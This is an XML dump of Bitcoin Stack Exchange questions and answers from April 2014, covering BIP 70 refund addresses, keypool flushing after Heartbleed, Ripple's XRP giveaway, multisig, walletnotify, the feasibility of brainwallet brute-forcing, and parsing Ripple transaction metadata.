  <row Id="24450" PostTypeId="2" ParentId="24423" CreationDate="2014-04-10T01:32:08.250" Score="4" Body="&lt;p&gt;This is my understanding based on reading &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP 70&lt;/a&gt; and the Bitcoin Core source, and a few tests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A BIP 70 payment request contains, among other things, a destination address, an amount, and an HTTPS payment URL.  When you open the payment request with the Bitcoin Core client (as a file or via a &lt;code&gt;bitcoin&lt;/code&gt; URI with an embedded link to the payment request), you are shown the Send dialog with fields pre-filled as per the request.  When you click &quot;Send&quot;, the transaction is signed, but rather than being broadcast on the p2p network immediately, a message is POSTed to the payment URL, containing the signed transactions and also a refund address.  It is then the requester's responsibility to broadcast the transaction after checking that it matches the request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in particular, the refund address is sent directly to the recipient over HTTPS, who is responsible for storing it in case it should later be needed.  It is not part of the transaction, is not sent on the Bitcoin p2p network, and never appears in the block chain (unless it is later actually used to send a refund).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core will automatically generate a refund address; the GUI doesn't provide an option to let you specify it.  Actually, the details are as follows: it checks for an &lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;nofollow&quot;&gt;account&lt;/a&gt; named &lt;code&gt;&quot;Refund from [requester]&quot;&lt;/code&gt;.  If that account exists and contains an address, it uses that address as the refund address; otherwise it creates the account and a new address within it (from the &lt;a href=&quot;https://en.bitcoin.it/wiki/Key_pool&quot; rel=&quot;nofollow&quot;&gt;key pool&lt;/a&gt;).  So you can find the refund address via the &lt;code&gt;getaddressesbyaccount&lt;/code&gt; console command, but it doesn't appear to be otherwise exposed by the GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try this: there is an &lt;a href=&quot;https://bitcoincore.org/~gavin/createpaymentrequest.php&quot; rel=&quot;nofollow&quot;&gt;online payment request generator for Testnet&lt;/a&gt; (and &lt;a href=&quot;https://github.com/gavinandresen/paymentrequest&quot; rel=&quot;nofollow&quot;&gt;its source&lt;/a&gt;).  If you generate a request, open it with Bitcoin Core, and send the payment, you will find that &lt;code&gt;listaccounts&lt;/code&gt; shows a new account named &lt;code&gt;&quot;Refund from www.bitcoincore.org&quot;&lt;/code&gt;, and &lt;code&gt;getaddressesbyaccount &quot;Refund from www.bitcoincore.org&quot;&lt;/code&gt; will show you the refund address that was generated and sent.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-04-10T01:32:08.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24451" PostTypeId="1" AcceptedAnswerId="25247" CreationDate="2014-04-10T02:00:50.987" Score="3" ViewCount="826" Body="&lt;p&gt;After the heartbleed vulnerability, I'm concerned that my private keys could have been compromised.  I want to send all my coins to a new address with a freshly generated key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I just ask the Bitcoin Core client to generate a new address, it will just select one from the existing keypool.  The keypool keys may also have been compromised, so I don't want to use them.  I want a key that is really brand new.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short of asking Bitcoin to generate hundreds of new addresses to exhaust the keypool, is there a way to flush the keypool and start getting fresh addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand this happens when you encrypt a wallet, but I prefer not to do that.  (Anyway, if my wallet was already encrypted, that wouldn't be an option.)&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-05-10T14:20:27.703" Title="How do I flush the keypool?" Tags="|bitcoin-core|private-key|keypool|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24452" PostTypeId="1" AcceptedAnswerId="24475" CreationDate="2014-04-10T03:52:24.977" Score="0" ViewCount="399" Body="&lt;p&gt;Was there ever a stated reason for the giveaway?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was this in response to the ridiculous criticisms they received such as &quot;centralization&quot; and concentration of wealth?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2017-07-16T07:38:13.493" Title="Why did Ripple do a giveaway?" Tags="|ripple|faucets|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24454" PostTypeId="1" CreationDate="2014-04-10T04:26:24.157" Score="0" ViewCount="136" Body="&lt;p&gt;I'm guessing that it appears as a single node?  For example on &lt;a href=&quot;http://getaddr.bitnodes.io/&quot; rel=&quot;nofollow&quot;&gt;http://getaddr.bitnodes.io/&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="13312" LastEditorUserId="5406" LastEditDate="2016-04-25T19:28:57.660" LastActivityDate="2016-04-25T19:28:57.660" Title="Does a bitcoin pool appear as one node or multiple nodes to the rest of the network?" Tags="|mining-pools|network|nodes|" AnswerCount="1" CommentCount="0" ClosedDate="2014-04-10T23:15:37.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="24456" PostTypeId="1" CreationDate="2014-04-10T05:38:04.383" Score="2" ViewCount="679" Body="&lt;p&gt;The reason I'm asking is because I want to know if 2-of-3 can be used by two parties as a way for one party to pre-commit to purchasing something before they actually do. For example, suppose Alice is selling her old car for 2 BTC, and Bob has said over the phone that he'd like to buy it. When Bob shows up and pays, naturally Alice wants to wait for at least 1 confirmation just to make sure Bob's not pulling a fast one on her and trying to double-spend the coins back to himself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's inconvenient to have Bob wait around for 10 minutes (and possibly an hour or more if mining luck is really low, or if Alice wants more than 1 confirm). So instead Alice creates a multisig address that Bob sends money to, and the transaction to the multisig addresses gets 1+ confirmations before he shows up, then Alice signs it. Once Bob arrives to inspect the car, possibly changing his mind but otherwise deciding to go through with it, he broadcasts his signature and drives away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Alice need to wait for 1+ confirmations of Bob's signature to be sure she'll get the funds before letting him leave? She may want to verify that blockchain.info sees the transaction just to make sure it has been broadcast (as Bob's phone or whatever might be conveniently offline when he 'broadcasts' his signature), but having done that, is there any danger left?&lt;/p&gt;&#xA;" OwnerUserId="15158" LastActivityDate="2015-03-30T14:27:05.497" Title="Can a 2 of 3 multisig transaction signature be revoked before it gets confirmed by the miners?" Tags="|multi-signature|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24457" PostTypeId="1" AcceptedAnswerId="24483" CreationDate="2014-04-10T06:14:00.660" Score="22" ViewCount="18655" Body="&lt;p&gt;I have bitcoin daemon and I want to use the walletnotify option with a json-rpc call. Some of the examples use a &quot;transaction.sh&quot; file for &lt;code&gt;walletnotify&lt;/code&gt;. What is it for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I have to write in that sh file, to make walletnotify work for more than 6 confirmations.&lt;/p&gt;&#xA;" OwnerUserId="14629" LastEditorUserId="4241" LastEditDate="2014-12-21T00:50:47.230" LastActivityDate="2022-06-30T04:45:27.283" Title="How do I use walletnotify?" Tags="|wallet|bitcoind|api|json-rpc|wallet-notify|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24461" PostTypeId="1" AcceptedAnswerId="24537" CreationDate="2014-04-10T09:30:25.397" Score="3" ViewCount="1629" Body="&lt;p&gt;After reading the Bitcoin wiki page for brainwallets it seems to me that mining equipment can be used to brute force brainwallet passphrases. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;...so hackers can collectively try multiple trillions of passwords every second in the privacy of their own homes with the very same equipment they use for mining bitcoins (in the usual sense).&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How would one use an ASIC miner to brute force the blockchain with a dictionary attack? &#xA;What would the application logic look like? &#xA;Can a standalone(The Antminer S1 for instance) miner be &quot;tricked&quot; into believing it is doing normal work for a pool when actually just hashing random strings or would it need custom drivers?&lt;/p&gt;&#xA;" OwnerUserId="15161" LastActivityDate="2014-04-14T17:55:41.583" Title="Can ASIC miners easily be used to guess brainwallet passphrases?" Tags="|asic|sha256|brain-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24462" PostTypeId="2" ParentId="11167" CreationDate="2014-04-10T09:40:50.003" Score="5" Body="&lt;p&gt;Old question, but answer might be helpful for someone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a raw transaction append:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;?format=hex&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the transaction URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/tx/1b087a7aebdd06740bd4ffefba076562b582a97f02cedf2cd32f53f7eb0b3c8c?format=hex&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3527" LastActivityDate="2014-04-10T09:40:50.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24464" PostTypeId="2" ParentId="24394" CreationDate="2014-04-10T10:45:06.673" Score="1" Body="&lt;p&gt;You asked two questions, I can answer only your second question: the command for sending to multiple addresses using bitcoin core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is done by building a &quot;raw transaction&quot;. This sounds and looks much more difficult than it is in practice. It involves the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select enough unspent outputs to fund your transaction&lt;/li&gt;&#xA;&lt;li&gt;Select the addresses and amounts you will be sending&lt;/li&gt;&#xA;&lt;li&gt;Add an extra txout with your address and change minus the fee (to prevent sending all change to the miner) &lt;/li&gt;&#xA;&lt;li&gt;Build a raw transaction using the unspent outputs and list of addresses and amounts&lt;/li&gt;&#xA;&lt;li&gt;Sign the raw transaction&lt;/li&gt;&#xA;&lt;li&gt;Send the raw transaction into the bitcoin network&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You will have to do some programming for step 1,2,3.&#xA;Bitcoind will handle step 4,5,6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can follow the steps in this excellent demo: &lt;a href=&quot;https://people.xiph.org/~greg/signdemo.txt&quot; rel=&quot;nofollow&quot;&gt;https://people.xiph.org/~greg/signdemo.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="6527" LastActivityDate="2014-04-10T10:45:06.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24466" PostTypeId="1" CreationDate="2014-04-10T11:29:18.320" Score="1" ViewCount="333" Body="&lt;p&gt;I use Bitcoin only on rare occasions - say once every month. I want to avoid long waiting times for downloading and verifying blocks that consequently await me when I reopen bitcoin-qt. There are many options available for downloading the whole block chain when one starts out (like the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=145386.0&quot; rel=&quot;nofollow&quot;&gt;blockchain torrent&lt;/a&gt; or the &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/&quot; rel=&quot;nofollow&quot;&gt;blockchain on Sourceforge&lt;/a&gt;). However, these options are full of warnings that tell you they should NOT be used when updating the block chain on an existing wallet but rather only when installing from scratch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there similar ways of more quickly updating the blockchain by downloading recent blocks from some other source? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I am not looking for other clients, but specifically for alternative blockchain download options for bitcoin-qt.&lt;/p&gt;&#xA;" OwnerUserId="14680" LastEditorUserId="47827" LastEditDate="2020-12-09T13:57:26.067" LastActivityDate="2020-12-09T13:57:26.067" Title="Can I download blockchain updates from somewhere?" Tags="|bitcoin-core|synchronization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24467" PostTypeId="1" CreationDate="2014-04-10T11:45:52.943" Score="2" ViewCount="501" Body="&lt;p&gt;I have two computers with two different bitcoin-qt wallets:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Very heavy-weight desktop with a great internet connection.&lt;/li&gt;&#xA;&lt;li&gt;Less powerful laptop with relatively slow internet.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would like to download AND validate the blockchain only on the desktop. I can trust that blockchain to contain only valid data because it actually validates the input and it is a source under my control. So I figure I don't need to do the same for the laptop. How can I syncronize the blockchain on the laptop? Could I &lt;code&gt;rsync&lt;/code&gt; the &lt;code&gt;chainstate&lt;/code&gt;, &lt;code&gt;blocks&lt;/code&gt;, and &lt;code&gt;database&lt;/code&gt; directories for instance? And then I &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1249/how-exactly-does-rescan-work&quot;&gt;rescan&lt;/a&gt; on my laptop and we should be good to go! Would this work?&lt;/p&gt;&#xA;" OwnerUserId="14680" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-05-11T12:02:57.667" Title="How can I download the blockchain from own, trusted source?" Tags="|blockchain|bitcoin-core|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24468" PostTypeId="2" ParentId="24461" CreationDate="2014-04-10T12:06:32.520" Score="3" Body="&lt;p&gt;What follows is an educated guess, not certain statements, and is based on &lt;a href=&quot;https://electrum.org&quot; rel=&quot;nofollow&quot;&gt;Electrum's&lt;/a&gt; brainwallet phrases (just figured it'd be a good example), not other schemes or human-generated ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, a miner can't easily be tricked into doing it (e.g. solely by a rogue pool), but can be programmed to try to crack brainwallet phrases. This is because ordinary hashing involves totally different inputs (a block header and nonce, hashed twice) than brainwallet cracking (a random 128 bit seed, hashed 100,000 times).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd do this by trying random 128-bit seeds, through Electrum's algorithm, which involves taking the seed and running &lt;a href=&quot;https://github.com/spesmilo/electrum/blob/master/lib/account.py&quot; rel=&quot;nofollow&quot;&gt;100,000&lt;/a&gt; SHA256 hashes on it (maybe some other stuff I'm missing would make it more difficult). You can then do a few more calculations to come up with the addresses that the key generates, and check the blockchain to see if any of these match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current network hashrate is ~50,000,000 GH/s. If all of that were instead put towards breaking everybody's Electrum keys, and all it takes is the 100K hashes, there'd be 5*10^11 out of 2^128 checked every second. You could check all of the keys in about 2*10^19 years, or 1.6*10^9 times the age of the universe. While you'd probably get collisions long before this (dependent on how many Electrum-generated addresses are in use), I think this gives you an idea of the infeasibility of this sort of attack.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-04-10T12:06:32.520" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24469" PostTypeId="2" ParentId="24451" CreationDate="2014-04-10T12:31:05.970" Score="1" Body="&lt;p&gt;You have probably considered it already, but the only thing I can think of, is to &lt;strong&gt;create a new wallet&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Make a new wallet, and get an address from it&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Backup&lt;/strong&gt; your old wallet &lt;/li&gt;&#xA;&lt;li&gt;Delete the old wallet from the Bitcoin directory&lt;/li&gt;&#xA;&lt;li&gt;Start Bitcoin Core (it'll create a new wallet).&lt;/li&gt;&#xA;&lt;li&gt;Copy a receive address from the new wallet.&lt;/li&gt;&#xA;&lt;li&gt;Close Bitcoin Core&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Transfer the bitcoins from the old wallet&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Backup&lt;/strong&gt; your new wallet.&lt;/li&gt;&#xA;&lt;li&gt;Replace the new wallet in the Bitcoin directory with your old wallet.&lt;/li&gt;&#xA;&lt;li&gt;Start Bitcoin Core&lt;/li&gt;&#xA;&lt;li&gt;Send your Bitcoins to the previously copied address from the new wallet&lt;/li&gt;&#xA;&lt;li&gt;Close Bitcoin Core&lt;/li&gt;&#xA;&lt;li&gt;Replace the old wallet in the Bitcoin directory with your new wallet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Keep the backup of the old wallet, to be able to check old transactional data, and addresses you've sent to, or if someone unexpectedly sends you bitcoins to an old address.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-04-10T12:31:05.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24470" PostTypeId="2" ParentId="24452" CreationDate="2014-04-10T12:51:23.387" Score="1" Body="&lt;p&gt;There is no distribution mechanism for the XRP in the Ripple Protocol, instead all XRP were created with the network's emergence. However, XRP are necessary to create accounts, create trust lines, and to pay for transactions, so every user needs some in order to use Ripple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, Ripple was bound to have all XRP afer creating the network. They could have started selling them, but since at that point nobody used Ripple, why would anybody pay for XRP at that point? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consequentially, there would be no other way to spread the XRP besides giving them away. As far as I remember, giveaways were announced in the very first thing I read about Ripple. So, &lt;strong&gt;no&lt;/strong&gt;, giveaways were not a response to criticism.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2017-07-16T07:38:13.493" LastActivityDate="2017-07-16T07:38:13.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24471" PostTypeId="2" ParentId="24355" CreationDate="2014-04-10T13:59:17.047" Score="1" Body="&lt;p&gt;AML is only applied to customer relationships. In this case that would be people that have an account with a gateway and are using said account to either deposit or withdraw massive amounts of money/crypto from the gateway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It cannot apply to rippled balances, as you don't need to provide any information to another entity in Ripple in order to extend a trust line to said entity. I.e. there is no customer relationship in that case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the above is AFAIK and IANAL.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-04-10T13:59:17.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24472" PostTypeId="2" ParentId="24467" CreationDate="2014-04-10T14:32:42.930" Score="0" Body="&lt;p&gt;Have you considered a bitcoin client that doesn't need to download the blockchain on your laptop?&#xA;&lt;a href=&quot;https://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;https://electrum.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the two computers resides on the same private network, have you tryied to use the addnode option to point to your PC private address? You could specify it via command line or via the bitcoin.conf file.&#xA;You need to try, i am not really sure if this helps, in my imagination the PC passes the already downloaded block to the laptop without downloading from the internet.&lt;/p&gt;&#xA;" OwnerUserId="6693" LastEditorUserId="6693" LastEditDate="2014-04-10T15:10:56.187" LastActivityDate="2014-04-10T15:10:56.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24473" PostTypeId="2" ParentId="20017" CreationDate="2014-04-10T15:24:26.460" Score="0" Body="&lt;p&gt;Hmmm. Once you mine the most profitable coin,  it can immediately be converted to a relatively stable coin of choice (usually lite coin or doge). The multi pool principal is sound and can increase profits more than 25 percent, but will soon change when scrypt asics arrive en masses in a few months.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, I do believe that coinwarz gets advertising money for listing currencies at the top!&lt;/p&gt;&#xA;" OwnerUserId="15165" LastActivityDate="2014-04-10T15:24:26.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24474" PostTypeId="1" AcceptedAnswerId="24476" CreationDate="2014-04-10T17:32:34.040" Score="2" ViewCount="1083" Body="&lt;p&gt;I am having a hard time figuring out how to extract trade information (i.e. a payment relative to an offer) from the Ripple websocket transaction feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my current understanding, I guess there would be a way to match a payment to an offer, or maybe to know that an offer has been cancelled because it has been successful. This would probably work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't see a way to achieve any of this currently.&lt;/p&gt;&#xA;" OwnerUserId="15169" LastActivityDate="2014-04-10T18:16:36.610" Title="How to obtain trades from the websocket transaction feed?" Tags="|ripple|ripple-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24475" PostTypeId="2" ParentId="24452" CreationDate="2014-04-10T17:39:44.740" Score="3" Body="&lt;p&gt;The best description of XRP distribution/giveaways I've seen is on Ripple Labs &lt;a href=&quot;https://www.ripplelabs.com/xrp-distribution/&quot; rel=&quot;nofollow noreferrer&quot;&gt;XRP Distribution web page&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The whole page is worth reading, but I'll just include a few select quotes that may address the question:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Users don’t need to hold XRP if they prefer to transact in other currencies (e.g. dollar, euro, yuan, gold).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;…&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The inventors of the Ripple protocol created 100 billion XRP at its inception, and no more can ever be created according to the protocol’s rules. The creators gifted Ripple Labs 80 billion of the 100 billion XRP in existence.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;…&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Ripple’s method of confirmation, called consensus, doesn’t need mining; therefore, it requires comparatively negligible computing power, confirmation time adapts to network latency, and transactions are immediately irreversible once confirmed.&lt;/p&gt;&#xA;&lt;p&gt;Because Ripple’s new architecture does not require mining, the creators of Ripple had a choice: distribute XRP exclusively via mining or diversify the distribution methods.&lt;/p&gt;&#xA;&lt;p&gt;Distributing value is a powerful way to incentivize certain behaviors. Bitcoin’s mechanism, for example, led to an explosion of processing power devoted to bitcoin mining. Our goal in distributing XRP is to incentivize actions that build trust, utility and liquidity in the network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3364" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-04-10T17:39:44.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24476" PostTypeId="2" ParentId="24474" CreationDate="2014-04-10T18:16:36.610" Score="2" Body="&lt;p&gt;For a program (a client, a charting site, a simple order book display, etc) to efficiently track changes it can &lt;a href=&quot;https://ripple.com/wiki/JSON_Messages#subscribe&quot; rel=&quot;nofollow&quot;&gt;subscribe&lt;/a&gt; to a stream of transactions related to just what it's interested in, a set of accounts, a set of order books, etc. Alternatively a system can subscribe to all transactions or fetch individual closed ledgers and their associated transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever way a program gets transactions, each transaction includes a set of meta data describing all the changes it made within the ledger that included it. For any transaction that executes any part of a trade offer it will included meta data that references the trade offer, and describes how it is changed (how much is consumed, if the offer is to be removed, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an &lt;a href=&quot;https://ripple.com/tools/info/#14A60155B276A78ED29FF11A9EE8E63AC1FCBED50CCE1AB30642B06E8D0E00D8&quot; rel=&quot;nofollow&quot;&gt;example recent transaction&lt;/a&gt; with meta data. These can easily be looked at via a site like &lt;a href=&quot;https://ripple.com/tools/info/&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/tools/info/&lt;/a&gt; or &lt;a href=&quot;https://ripple.com/tools/api/&quot; rel=&quot;nofollow&quot;&gt;https://ripple.com/tools/api/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  Account : &quot;rGTfnwAqmPG5CN9vgzfubDQA4CkCpeK9zZ&quot;,&#xA;  Amount : { /* currency, issuer, ... */ },&#xA;  Destination : &quot;rMDnTSD3TUizf2qvd9oGdCz3BXLheJyYtP&quot;,&#xA;  Fee : &quot;15&quot;,&#xA;  Flags : 0,&#xA;  LastLedgerSequence : 6005165,&#xA;  Paths : [ /* 3 items */ ],&#xA;  SendMax : { /* currency, issuer, ... */ },&#xA;  Sequence : 3539,&#xA;  SigningPubKey : &quot;02A25443D8FC411A395B626760062F506BF44FDA7CBFE004B1F2A7D2052CCEBC33&quot;,&#xA;  TransactionType : &quot;Payment&quot;,&#xA;  TxnSignature : &quot;3046022100D806A3FF5F2002F55BA48C4824CF8AEC70741411383CD79037012A85C3F92A9502210084335505CA91F28DDE04290FB7A46318F6337E2522D46731403BE686176F3A12&quot;,&#xA;  hash : &quot;14A60155B276A78ED29FF11A9EE8E63AC1FCBED50CCE1AB30642B06E8D0E00D8&quot;,&#xA;  inLedger : 6005158,&#xA;  ledger_index : 6005158,&#xA;  meta : {&#xA;        AffectedNodes : [&#xA;              {&#xA;                    ModifiedNode : {&#xA;                          FinalFields : {&#xA;                                Account : &quot;rH1hbPUfvhmqkEE3AWi77CZNexJyTGE6SF&quot;,&#xA;                                BookDirectory : &quot;4627DFFCFF8B5A265EDBD8AE8C14A52325DBFEDAF4F5C32E5D04F0F1A6DD3F05&quot;,&#xA;                                BookNode : &quot;0000000000000000&quot;,&#xA;                                Flags : 0,&#xA;                                OwnerNode : &quot;0000000000000000&quot;,&#xA;                                Sequence : 71,&#xA;                                TakerGets : {&#xA;                                      currency : &quot;USD&quot;,&#xA;                                      issuer : &quot;rvYAfWj5gh67oV6fW32ZzP3Aw4Eubs59B&quot;,&#xA;                                      value : &quot;221.8195734530501&quot;&#xA;                                },&#xA;                                TakerPays : &quot;30851122872&quot;&#xA;                          },&#xA;                          LedgerEntryType : &quot;Offer&quot;,&#xA;                          LedgerIndex : &quot;0346EED5470F7A69B0A8DBF4B403DDD5CFD80F4A588555A934F00B09B4CE7AD2&quot;,&#xA;                          PreviousFields : {&#xA;                                TakerGets : {&#xA;                                      currency : &quot;USD&quot;,&#xA;                                      issuer : &quot;rvYAfWj5gh67oV6fW32ZzP3Aw4Eubs59B&quot;,&#xA;                                      value : &quot;222.82157345305&quot;&#xA;                                },&#xA;                                TakerPays : &quot;30990483095&quot;&#xA;                          },&#xA;                          PreviousTxnID : &quot;B8613D4BE0C6EAA9F970CC2D580534B8A2B53F1BD844518BED4A73AA0FA52DFB&quot;,&#xA;                          PreviousTxnLgrSeq : 6005141&#xA;                    }&#xA;              },&#xA;              { /* ModifiedNode */ },&#xA;              { /* ModifiedNode */ },&#xA;              { /* DeletedNode */ },&#xA;              { /* ModifiedNode */ },&#xA;              { /* DeletedNode */ },&#xA;              { /* ModifiedNode */ },&#xA;              { /* ModifiedNode */ },&#xA;              { /* ModifiedNode */ },&#xA;              { /* ModifiedNode */ },&#xA;              { /* ModifiedNode */ },&#xA;              { /* ModifiedNode */ },&#xA;              { /* ModifiedNode */ }&#xA;        ],&#xA;        TransactionIndex : 0,&#xA;        TransactionResult : &quot;tesSUCCESS&quot;&#xA;  },&#xA;  validated : true&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example, you can see that the transaction happens to be of type &lt;code&gt;Payment&lt;/code&gt; but it modified a node with &lt;code&gt;LedgerEntryType: offer&lt;/code&gt;. Those are what you'd look for (from any and all transaction types, &quot;OfferCreate&quot;, &quot;OfferCancel&quot;, &quot;Payment&quot;, etc). Fields such as &quot;BookDirectory&quot; are mostly for internally finding the node with the ledger, a simple tool processing these JSON blobs could just look at the &lt;code&gt;Account&lt;/code&gt; and &lt;code&gt;Sequence&lt;/code&gt; fields to uniquely identify a specific offer. In this example the there is both a final &lt;code&gt;TakerGets&lt;/code&gt;/&lt;code&gt;TakerPays&lt;/code&gt; fields as well as previous; subtracting tells you how much of the offer was taken. (Such fields without a listed currency/issuer pair are XRP in drops, divide by 1e6 to get the amount of XRP.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a payment or crossing offer were to fully consume an existing offer, then you'd see a &quot;DeletedNode&quot; entry for it and would again need to use the previous/final fields to see how much of the offer was consumed (which could be zero if the offer was removed for other reasons, such as no longer funded or expired).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're trying to assemble all the ways a specific offer has changed through it's life you can track backwards via either the &lt;code&gt;PreviousTxnID&lt;/code&gt; or the &lt;code&gt;PreviousTxnLgrSeq&lt;/code&gt; fields.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2014-04-10T18:16:36.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24478" PostTypeId="1" CreationDate="2014-04-10T19:31:28.663" Score="2" ViewCount="61" Body="&lt;p&gt;Is it possible to build a system on top of bitcoin, where:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Random people will deposit money in a wallet X.&lt;/li&gt;&#xA;&lt;li&gt;Nobody has access to that wallet.&lt;/li&gt;&#xA;&lt;li&gt;After a few months, those users will vote in other wallets for the money in wallet X to go.&lt;/li&gt;&#xA;&lt;li&gt;The money in wallet X is distributed between those wallets.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is it possible on top of bitcoin, or would it need the design of a new system?&lt;/p&gt;&#xA;" OwnerUserId="15173" LastActivityDate="2014-10-08T01:43:37.037" Title="Is it possible to create a system for 'shared wallets' on top of bitcoin?" Tags="|wallet|client|alternatives|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
